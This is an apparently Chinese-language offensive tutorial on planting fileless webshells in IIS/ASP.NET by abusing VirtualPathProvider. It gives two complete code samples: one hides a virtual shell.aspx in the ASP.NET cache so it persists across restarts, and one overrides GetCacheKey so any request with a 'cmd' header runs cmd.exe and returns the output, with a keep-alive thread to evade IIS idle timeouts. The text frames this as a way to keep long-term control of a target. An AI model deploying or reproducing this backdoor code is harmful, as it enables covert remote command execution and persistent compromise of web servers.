透過註冊VirtualFile
概念
.Net Framework提供了VirtualPathProvider可以建立虛擬檔案,通常應該是MVC架構比較會用到,我們可以濫用這個機制來建立無檔案後門,也就是常說的記憶體木馬,實作部分有問題的可以參考連結[1]、[2]。
不過此種方法其實是將檔案藏在快取資料夾中,不是真正意義上的無檔案後門,但是也因為此特性,導致可以長時間的控制對方,在快取時間結束前檔案都不會消失,不受IIS重新啟動影響,甚至重新開機也不影響。
備註:
如果想清除這種類型的後門,可以先將IIS關閉,並到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files找到對應的檔案刪除後再啟動IIS就可以了。
實作
<%@ Page Language="C#" %>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Web" %>
<%@ import Namespace="System.Reflection" %>
<%@ import Namespace="System.Web.Hosting" %>
<%@ import Namespace="System.Web.Compilation" %>
<script runat="server">
class SamplePathProvider: VirtualPathProvider
{
private string _virtualDir = "/shell.aspx";
private string _fileContent = "zxc";
private bool IsPathVirtual(string virtualPath) { return VirtualPathUtility.ToAppRelative(virtualPath).ToLower().Contains(this._virtualDir.ToLower());}
public override bool FileExists(string virtualPath) { return this.IsPathVirtual(virtualPath) || this.Previous.FileExists(virtualPath);}
public override bool DirectoryExists(string virtualDir) { return this.IsPathVirtual(virtualDir) || this.Previous.DirectoryExists(virtualDir);}
public override VirtualFile GetFile(string virtualPath) { return this.IsPathVirtual(virtualPath) ? (VirtualFile) new SampleVirtualFile(virtualPath, this._fileContent) : this.Previous.GetFile(virtualPath);}
public override CacheDependency GetCacheDependency(
string virtualPath,
IEnumerable virtualPathDependencies,
DateTime utcStart)
{
return this.IsPathVirtual(virtualPath) ? new CacheDependency("c:\\") : this.Previous.GetCacheDependency(virtualPath, virtualPathDependencies, utcStart);
}
}
public class SampleVirtualFile : VirtualFile
{
private string _fileContent;
public bool Exists = true;
public SampleVirtualFile(string virtualPath, string fileContent)
: base(virtualPath)
{
this._fileContent = fileContent;
}
public override Stream Open() { return (Stream) new MemoryStream(Encoding.UTF8.GetBytes(this._fileContent));}
}
</script>
<%
SamplePathProvider samplePathProvider = new SamplePathProvider();
samplePathProvider.InitializeLifetimeService();
HostingEnvironment.RegisterVirtualPathProvider((VirtualPathProvider) samplePathProvider);
%>
效果
參考
[2] https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs
[3] https://github.com/yzddmr6/As-Exploits/blob/master/core/memshell_inject/payload.js
透過複寫GetCacheKey方法
概念
當Application Pool有註冊VirtualPathProvider時,IIS將請求丟給framework執行時,會先呼叫GetCacheKey方法,所以只需要把GetCacheKey方法複寫,讓他可以接收我們輸入並執行對應的動作,就是一個很完美的無檔案後門,因為不管請求的檔案存不存在都會呼叫,比如123.ashx、index.asmx、default.aspx等,都可以觸發。
但是這種方法只要AP重新啟動就會失效,所以會受到IIS的兩項設定影響:
- Idle Time-out
- Regular Time Interval
前者預設20分鐘,當IIS沒收到請求的20分鐘後就會自動關閉AP,等下一個請求到來時再啟動,解決方法就是在註冊VirtualPathProvider時順便建立一個執行緒,讓他持續地發送請求到IIS,就可以繞過此項設定。
而後者預設是29小時,且是強制性的,當網站持續執行29小時後IIS會強制重啟AP,這個時候webshell同樣會失效,且這個是無解的,所以如果想長時間控制對方不建議使用此方法。
實作
<%@ Page Language="C#" %>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Web" %>
<%@ import Namespace="System.Reflection" %>
<%@ import Namespace="System.Web.Hosting" %>
<%@ import Namespace="System.Web.Compilation" %>
<%@ import Namespace="System.Threading" %>
<script runat="server">
class SamplePathProvider: VirtualPathProvider
{
public SamplePathProvider()
{
new Thread(new ThreadStart(this.keepAlive)).Start();
}
public override string GetCacheKey(string virtualPath)
{
HttpContext current = HttpContext.Current;
string cmd = current.Request.Headers.Get("cmd");
if (cmd != null)
{
current.Server.ClearError();
current.Response.Clear();
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.CreateNoWindow = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
process.WaitForExit();
current.Response.Write(process.StandardOutput.ReadToEnd());
process.Close();
current.Response.Flush();
current.Response.End();
}
return base.GetCacheKey(virtualPath);
}
private void keepAlive()
{
while (true)
{
Thread.Sleep(300000);
System.Net.WebClient wc = new System.Net.WebClient();
wc.OpenRead("http://127.0.0.1/app.publish/WebForm1.aspx");
}
}
}
</script>
<%
SamplePathProvider samplePathProvider = new SamplePathProvider();
samplePathProvider.InitializeLifetimeService();
HostingEnvironment.RegisterVirtualPathProvider((VirtualPathProvider) samplePathProvider);
%>